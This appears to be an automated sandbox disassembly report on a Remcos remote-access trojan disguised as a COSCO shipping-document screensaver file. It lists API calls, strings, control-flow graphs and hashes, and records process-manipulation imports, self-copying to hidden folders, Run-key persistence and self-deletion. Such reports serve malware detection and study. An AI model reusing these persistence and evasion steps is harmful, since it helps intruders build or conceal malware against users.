                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CCAA
                                                                                        • GetModuleHandleA.KERNEL32(ntdll,NtResumeProcess,?,?,?,?,0040E9E1), ref: 0041CCB7
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CCBA
                                                                                        • LoadLibraryA.KERNELBASE(Iphlpapi,GetExtendedTcpTable,?,?,?,?,0040E9E1), ref: 0041CCCC
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CCCF
                                                                                        • LoadLibraryA.KERNEL32(Iphlpapi,GetExtendedUdpTable,?,?,?,?,0040E9E1), ref: 0041CCDC
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CCDF
                                                                                        • GetModuleHandleA.KERNEL32(ntdll,NtQueryInformationProcess,?,?,?,?,0040E9E1), ref: 0041CCF0
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CCF3
                                                                                        • GetModuleHandleA.KERNEL32(kernel32,GetFinalPathNameByHandleW,?,?,?,?,0040E9E1), ref: 0041CD04
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CD07
                                                                                        • LoadLibraryA.KERNELBASE(Rstrtmgr,RmStartSession,?,?,?,?,0040E9E1), ref: 0041CD19
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CD1C
                                                                                        • LoadLibraryA.KERNEL32(Rstrtmgr,RmRegisterResources,?,?,?,?,0040E9E1), ref: 0041CD29
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CD2C
                                                                                        • LoadLibraryA.KERNEL32(Rstrtmgr,RmGetList,?,?,?,?,0040E9E1), ref: 0041CD39
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CD3C
                                                                                        • LoadLibraryA.KERNEL32(Rstrtmgr,RmEndSession,?,?,?,?,0040E9E1), ref: 0041CD49
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CD4C
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: AddressProc$LibraryLoad$HandleModule
                                                                                        • String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetExtendedTcpTable$GetExtendedUdpTable$GetFinalPathNameByHandleW$GetMonitorInfoW$GetProcessImageFileNameW$GetSystemTimes$GlobalMemoryStatusEx$Iphlpapi$IsUserAnAdmin$IsWow64Process$Kernel32$NtQueryInformationProcess$NtResumeProcess$NtSuspendProcess$NtUnmapViewOfSection$Psapi$RmEndSession$RmGetList$RmRegisterResources$RmStartSession$Rstrtmgr$SetProcessDEPPolicy$SetProcessDpiAwareness$Shell32$Shlwapi$kernel32$ntdll$shcore$user32
                                                                                        • API String ID: 4236061018-3687161714
                                                                                        • Opcode ID: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
                                                                                        • Instruction ID: 43d5c3d51f8f0173c8b3474e0c84bdc355f07b7b5b23ff39ae26555794408ecb
                                                                                        • Opcode Fuzzy Hash: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
                                                                                        • Instruction Fuzzy Hash: 31419EA0EC035879DA107BB66DCDE3B3E5CD9857953214837B15CA7150EBBCD8408EAE
                                                                                        Function 0040E9C5 Relevance: 84.8, APIs: 14, Strings: 34, Instructions: 795COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 5 40e9c5-40ea47 call 41cb50 GetModuleFileNameW call 40f3c3 call 4020f6 * 2 call 41be1b call 40fb17 call 401e8d call 43fd00 22 40ea93-40eb5b call 401e65 call 401fab call 401e65 call 40531e call 406383 call 401fe2 call 401fd8 * 2 call 401e65 call 401fc0 call 405aa6 call 401e65 call 4051e3 call 401e65 call 4051e3 5->22 23 40ea49-40ea8e call 40fbb3 call 401e65 call 401fab call 410f37 call 40fb64 call 40f3b0 5->23 69 40eb5d-40eba8 call 406c1e call 401fe2 call 401fd8 call 401fab call 413549 22->69 70 40ebae-40ebc9 call 401e65 call 40b9bd 22->70 49 40eef2-40ef03 call 401fd8 23->49 69->70 102 40f34f-40f36a call 401fab call 4139a9 call 412475 69->102 80 40ec03-40ec0a call 40d069 70->80 81 40ebcb-40ebea call 401fab call 413549 70->81 90 40ec13-40ec1a 80->90 91 40ec0c-40ec0e 80->91 81->80 97 40ebec-40ec02 call 401fab call 4139a9 81->97 95 40ec1c 90->95 96 40ec1e-40ec2a call 41b2c3 90->96 94 40eef1 91->94 94->49 95->96 103 40ec33-40ec37 96->103 104 40ec2c-40ec2e 96->104 97->80 126 40f36f-40f3a0 call 41bc5e call 401f04 call 413a23 call 401f09 * 2 102->126 107 40ec76-40ec89 call 401e65 call 401fab 103->107 108 40ec39 call 407716 103->108 104->103 128 40ec90-40ed18 call 401e65 call 41bc5e call 401f13 call 401f09 call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab 107->128 129 40ec8b call 407755 107->129 117 40ec3e-40ec40 108->117 120 40ec42-40ec47 call 407738 call 407260 117->120 121 40ec4c-40ec5f call 401e65 call 401fab 117->121 120->121 121->107 140 40ec61-40ec67 121->140 157 40f3a5-40f3af call 40dd42 call 414f2a 126->157 177 40ed80-40ed84 128->177 178 40ed1a-40ed33 call 401e65 call 401fab call 43bad6 128->178 129->128 140->107 144 40ec69-40ec6f 140->144 144->107 147 40ec71 call 407260 144->147 147->107 180 40ef06-40ef66 call 436e90 call 40247c call 401fab * 2 call 4136f8 call 409057 177->180 181 40ed8a-40ed91 177->181 178->177 205 40ed35-40ed61 call 401e65 call 401fab call 401e65 call 401fab call 40da34 178->205 236 40ef6b-40efbf call 401e65 call 401fab call 402093 call 401fab call 41376f call 401e65 call 401fab call 43baac 180->236 184 40ed93-40ee05 call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 40cdf9 181->184 185 40ee0f-40ee19 call 409057 181->185 271 40ee0a-40ee0d 184->271 191 40ee1e-40ee42 call 40247c call 434798 185->191 212 40ee51 191->212 213 40ee44-40ee4f call 436e90 191->213 247 40ed66-40ed7b call 401f13 call 401f09 205->247 218 40ee53-40eec8 call 401f04 call 43f809 call 40247c call 401fab call 40247c call 401fab call 413947 call 4347a1 call 401e65 call 40b9bd 212->218 213->218 218->236 286 40eece-40eeed call 401e65 call 41bc5e call 40f474 218->286 287 40efc1 236->287 288 40efdc-40efde 236->288 247->177 271->191 286->236 306 40eeef 286->306 292 40efc3-40efda call 41cd9b CreateThread 287->292 289 40efe0-40efe2 288->289 290 40efe4 288->290 289->292 294 40efea-40f0c6 call 402093 * 2 call 41b4ef call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 43baac call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab StrToIntA call 409de4 call 401e65 call 401fab 290->294 292->294 344 40f101 294->344 345 40f0c8-40f0ff call 4344ea call 401e65 call 401fab CreateThread 294->345 306->94 347 40f103-40f11b call 401e65 call 401fab 344->347 345->347 357 40f159-40f16c call 401e65 call 401fab 347->357 358 40f11d-40f154 call 4344ea call 401e65 call 401fab CreateThread 347->358 368 40f1cc-40f1df call 401e65 call 401fab 357->368 369 40f16e-40f1c7 call 401e65 call 401fab call 401e65 call 401fab call 40d9e8 call 401f13 call 401f09 CreateThread 357->369 358->357 379 40f1e1-40f215 call 401e65 call 401fab call 401e65 call 401fab call 43baac call 40c162 368->379 380 40f21a-40f23e call 41b60d call 401f13 call 401f09 368->380 369->368 379->380 400 40f240 380->400 401 40f243-40f256 CreateThread 380->401 400->401 404 40f264-40f26b 401->404 405 40f258-40f262 CreateThread 401->405 408 40f279-40f280 404->408 409 40f26d-40f277 CreateThread 404->409 405->404 412 40f282-40f285 408->412 413 40f28e 408->413 409->408 415 40f287-40f28c 412->415 416 40f2cc-40f2e7 call 401fab call 4134ff 412->416 418 40f293-40f2c7 call 402093 call 4052fd call 402093 call 41b4ef call 401fd8 413->418 415->418 416->157 427 40f2ed-40f32d call 41bc5e call 401f04 call 41361b call 401f09 call 401f04 416->427 418->416 443 40f346-40f34b DeleteFileW 427->443 444 40f34d 443->444 445 40f32f-40f332 443->445 444->126 445->126 446 40f334-40f341 Sleep call 401f04 445->446 446->443
                                                                                        APIs
                                                                                          • Part of subcall function 0041CB50: LoadLibraryA.KERNELBASE(Psapi,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB65
                                                                                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CB6E
                                                                                          • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB85
                                                                                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CB88
                                                                                          • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,0040E9E1), ref: 0041CB9A
                                                                                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CB9D
                                                                                          • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(user32,SetProcessDpiAwareness,?,?,?,?,0040E9E1), ref: 0041CBAE
                                                                                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CBB1
                                                                                          • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(ntdll,NtUnmapViewOfSection,?,?,?,?,0040E9E1), ref: 0041CBC3
                                                                                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CBC6
                                                                                          • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(kernel32,GlobalMemoryStatusEx,?,?,?,?,0040E9E1), ref: 0041CBD2
                                                                                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CBD5
                                                                                          • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E9E1), ref: 0041CBE6
                                                                                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CBE9
                                                                                          • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E9E1), ref: 0041CBFA
                                                                                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CBFD
                                                                                          • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,0040E9E1), ref: 0041CC0E
                                                                                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CC11
                                                                                          • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E9E1), ref: 0041CC22
                                                                                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CC25
                                                                                          • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E9E1), ref: 0041CC36
                                                                                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CC39
                                                                                          • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E9E1), ref: 0041CC4A
                                                                                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CC4D
                                                                                          • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E9E1), ref: 0041CC5E
                                                                                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CC61
                                                                                          • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E9E1), ref: 0041CC72
                                                                                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CC75
                                                                                          • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Shlwapi,0000000C,?,?,?,?,0040E9E1), ref: 0041CC83
                                                                                        • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe,00000104), ref: 0040E9EE
                                                                                          • Part of subcall function 00410F37: __EH_prolog.LIBCMT ref: 00410F3C
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: AddressProc$Module$Handle$LibraryLoad$FileH_prologName
                                                                                        • String ID: SG$ SG$8SG$8SG$Access Level: $Administrator$C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe$Exe$Inj$PSG$Remcos Agent initialized$Software\$User$dMG$del$del$exepath$licence$license_code.txt$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG
                                                                                        • API String ID: 2830904901-4147096488
                                                                                        • Opcode ID: 6b788d8bef068796558963f7ecebd42bb934510d76b3b9a953e2bf2f734d2ff5
                                                                                        • Instruction ID: d4e128c763ae9979da4f7e35a5cae12564b96cb69b39ecb6445d524eb2b23fe8
                                                                                        • Opcode Fuzzy Hash: 6b788d8bef068796558963f7ecebd42bb934510d76b3b9a953e2bf2f734d2ff5
                                                                                        • Instruction Fuzzy Hash: 6332D860B043412BDA24B7729C67B6E26994F81748F50483FB9467B2E3EFBC4D45839E
                                                                                        Function 0040CDF9 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 203fileCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        APIs
                                                                                        • _wcslen.LIBCMT ref: 0040CE07
                                                                                        • CreateDirectoryW.KERNELBASE(00000000,00000000,00000000,00000000,?,004750E4,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E), ref: 0040CE20
                                                                                        • CopyFileW.KERNELBASE(C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe,00000000,00000000,00000000,00000000,00000000,?,004750E4,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe), ref: 0040CED0
                                                                                        • _wcslen.LIBCMT ref: 0040CEE6
                                                                                        • CreateDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 0040CF6E
                                                                                        • CopyFileW.KERNEL32(C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe,00000000,00000000), ref: 0040CF84
                                                                                        • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFC3
                                                                                        • _wcslen.LIBCMT ref: 0040CFC6
                                                                                        • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFDD
                                                                                        • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004750E4,0000000E), ref: 0040D02D
                                                                                        • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000001), ref: 0040D04B
                                                                                        • ExitProcess.KERNEL32 ref: 0040D062
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: File$_wcslen$AttributesCopyCreateDirectory$CloseExecuteExitHandleProcessShell
                                                                                        • String ID: 6$C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe$del$open
                                                                                        • API String ID: 1579085052-1280871042
                                                                                        • Opcode ID: 814849405574f27cdfff210f7d5faa9ce691f1cc33a2f2159ed20f1a2e65d6c6
                                                                                        • Instruction ID: 6918cae47ac4af68ec004dabb58255b0e3542cbe00f5913d2fcd66cab837b2ae
                                                                                        • Opcode Fuzzy Hash: 814849405574f27cdfff210f7d5faa9ce691f1cc33a2f2159ed20f1a2e65d6c6
                                                                                        • Instruction Fuzzy Hash: CA51A620208302ABD605B7659C92A6F679D9F84719F10443FF609A62E3EFBC9D05866E
                                                                                        Function 0040DA34 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        APIs
                                                                                        • GetLongPathNameW.KERNELBASE(00000000,?,00000208), ref: 0040DB9A
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: LongNamePath
                                                                                        • String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
                                                                                        • API String ID: 82841172-425784914
                                                                                        • Opcode ID: 46d901405b7c4f1817ae1d48af55330febbd656c9bbb3008c43cf957afa3439e
                                                                                        • Instruction ID: 0cc8b9c4d8a16f3fd89327f32322cd7e2fd47b59120d3573c9b2d8a81569e3eb
                                                                                        • Opcode Fuzzy Hash: 46d901405b7c4f1817ae1d48af55330febbd656c9bbb3008c43cf957afa3439e
                                                                                        • Instruction Fuzzy Hash: FB414F715082019AC215FB61DC52DAEB3F8AE90718F10053FB546A60E2FFB8AE49C65F
                                                                                        Function 0041B2C3 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        APIs
                                                                                          • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                                                                                          • Part of subcall function 004135A6: RegOpenKeyExA.KERNELBASE(80000001,00000400,00000000,00020019,?), ref: 004135CA
                                                                                          • Part of subcall function 004135A6: RegQueryValueExA.KERNELBASE(?,?,00000000,00000000,?,00000400), ref: 004135E7
                                                                                          • Part of subcall function 004135A6: RegCloseKey.KERNELBASE(?), ref: 004135F2
                                                                                        • StrToIntA.SHLWAPI(00000000,0046C9F8,00000000,00000000,00000000,004750E4,00000003,Exe,00000000,0000000E,00000000,004660BC,00000003,00000000), ref: 0041B33C
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CloseCurrentOpenProcessQueryValue
                                                                                        • String ID: (32 bit)$ (64 bit)$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                                                                        • API String ID: 1866151309-2070987746
                                                                                        • Opcode ID: b004e89fecfca72c60d0d2d1a8fce3e40073890883e7b2a8564e183fd8eeb87f
                                                                                        • Instruction ID: 0537cd1ef0e49ffa1b211e53375311a7de90e31f2ded896f28e78de68f6ce99c
                                                                                        • Opcode Fuzzy Hash: b004e89fecfca72c60d0d2d1a8fce3e40073890883e7b2a8564e183fd8eeb87f
                                                                                        • Instruction Fuzzy Hash: 42112370A4010566C704B3668C87EFF77198B95314F94013BF856A21E2FB6C599683AE
                                                                                        Function 00413814 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39registryCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 656 413814-413827 RegCreateKeyW 657 413866 656->657 658 413829-413864 call 40247c call 401f04 RegSetValueExW RegCloseKey 656->658 659 413868-413876 call 401f09 657->659 658->659
                                                                                        APIs
                                                                                        • RegCreateKeyW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\,?), ref: 0041381F
                                                                                        • RegSetValueExW.KERNELBASE(?,00000000,00000000,00000001,00000000,00000000,?,?,?,?,00000000,004752D8,759237E0,?), ref: 0041384D
                                                                                        • RegCloseKey.ADVAPI32(?,?,?,?,?,00000000,004752D8,759237E0,?,?,?,?,?,0040CFAA,?,00000000), ref: 00413858
                                                                                        Strings
                                                                                        • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 0041381D
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CloseCreateValue
                                                                                        • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                                                                                        • API String ID: 1818849710-1051519024
                                                                                        • Opcode ID: 3da2de30dd2e4c2ff773a1c969aacac889c14d245fa7b83563a43fe4ea506f1b
                                                                                        • Instruction ID: 91b44a8789fefabe47d0aed0b401f4e945a8dec35bb1902c17c37083bf943f80
                                                                                        • Opcode Fuzzy Hash: 3da2de30dd2e4c2ff773a1c969aacac889c14d245fa7b83563a43fe4ea506f1b
                                                                                        • Instruction Fuzzy Hash: 83F0C271440218FBDF10AFA1EC45FEE376CEF00B56F10452AF905A61A1E7359F04DA94
                                                                                        Function 0040D069 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 666 40d069-40d095 call 401fab CreateMutexA GetLastError
                                                                                        APIs
                                                                                        • CreateMutexA.KERNELBASE(00000000,00000001,00000000,0040EC08,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E,00000000,004660BC,00000003,00000000), ref: 0040D078
                                                                                        • GetLastError.KERNEL32 ref: 0040D083
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CreateErrorLastMutex
                                                                                        • String ID: SG
                                                                                        • API String ID: 1925916568-3189917014
                                                                                        • Opcode ID: 801f4fab6620dad4192684c1acb97daf4a6912092659b95b34e50827bd09c0e4
                                                                                        • Instruction ID: 95155ffd2f5cf2c34283977deb482d2843c3ccfb5002447f486bda260673b364
                                                                                        • Opcode Fuzzy Hash: 801f4fab6620dad4192684c1acb97daf4a6912092659b95b34e50827bd09c0e4
                                                                                        • Instruction Fuzzy Hash: 18D012B0604701EBD7181770ED5975839959744702F40487AB50BD99F1CBAC88908519
                                                                                        Function 004135A6 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 669 4135a6-4135d2 RegOpenKeyExA 670 4135d4-4135fc RegQueryValueExA RegCloseKey 669->670 671 413607 669->671 672 413609 670->672 673 4135fe-413605 670->673 671->672 674 41360e-41361a call 402093 672->674 673->674
                                                                                        APIs
                                                                                        • RegOpenKeyExA.KERNELBASE(80000001,00000400,00000000,00020019,?), ref: 004135CA
                                                                                        • RegQueryValueExA.KERNELBASE(?,?,00000000,00000000,?,00000400), ref: 004135E7
                                                                                        • RegCloseKey.KERNELBASE(?), ref: 004135F2
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CloseOpenQueryValue
                                                                                        • String ID:
                                                                                        • API String ID: 3677997916-0
                                                                                        • Opcode ID: 2c354c38eb467919e259a426341f00e1060616e4a77f0ac470f93c7e2a8fe8f5
                                                                                        • Instruction ID: 357f89d7cd1c8cc036c5e31f86fe90e90b696c4569df010e686479b524d11f87
                                                                                        • Opcode Fuzzy Hash: 2c354c38eb467919e259a426341f00e1060616e4a77f0ac470f93c7e2a8fe8f5
                                                                                        • Instruction Fuzzy Hash: 5A01D676900228BBCF209B91DC09DEF7FBDDB84751F000066BB09E2240DA748E45DBA4
                                                                                        Function 00413549 Relevance: 4.5, APIs: 3, Instructions: 37registryCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 677 413549-413571 RegOpenKeyExA 678 4135a0 677->678 679 413573-41359e RegQueryValueExA RegCloseKey 677->679 680 4135a2-4135a5 678->680 679->680
                                                                                        APIs
                                                                                        • RegOpenKeyExA.KERNELBASE(80000001,00000000,00000000,00020019,00000000,00000000), ref: 00413569
                                                                                        • RegQueryValueExA.ADVAPI32(00000000,?,00000000,?,?,?), ref: 00413587
                                                                                        • RegCloseKey.ADVAPI32(00000000), ref: 00413592
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CloseOpenQueryValue
                                                                                        • String ID:
                                                                                        • API String ID: 3677997916-0
                                                                                        • Opcode ID: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
                                                                                        • Instruction ID: df0ca7b2621da3f23a966dc0a7f3323316399916f3769291e5945d4ebcba47cd
                                                                                        • Opcode Fuzzy Hash: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
                                                                                        • Instruction Fuzzy Hash: E8F01776900218FFDF109FA0DC05FEEBBBCEB04B11F1040A6BA09E6191E2359F54AB94
                                                                                        Function 0040165E Relevance: 3.0, APIs: 2, Instructions: 32COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 681 40165e-401664 682 401666-401668 681->682 683 401669-401674 681->683 684 401676 683->684 685 40167b-401685 683->685 684->685 686 401687-40168d 685->686 687 4016a8-4016a9 call 4344ea 685->687 686->687 689 40168f-401694 686->689 690 4016ae-4016af 687->690 689->684 691 401696-4016a6 call 4344ea 689->691 692 4016b1-4016b3 690->692 691->692
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: dd3aabd753e8fbc850dd588cbaeb9a0baf8afa37155383fde8690b9b823aeb90
                                                                                        • Instruction ID: 20740d68f627359004b4f50e822579efa7e6dd26000e0d34fcfb16e84f8f3500
                                                                                        • Opcode Fuzzy Hash: dd3aabd753e8fbc850dd588cbaeb9a0baf8afa37155383fde8690b9b823aeb90
                                                                                        • Instruction Fuzzy Hash: 6EF0E2706042015BDB1C8B34CD60B2A36955B84315F288F3FF01AD61E0C73EC8918A0D
                                                                                        Function 00446137 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 723 446137-446143 724 446175-446180 call 4405dd 723->724 725 446145-446147 723->725 732 446182-446184 724->732 727 446160-446171 RtlAllocateHeap 725->727 728 446149-44614a 725->728 729 446173 727->729 730 44614c-446153 call 445545 727->730 728->727 729->732 730->724 735 446155-44615e call 442f80 730->735 735->724 735->727
                                                                                        APIs
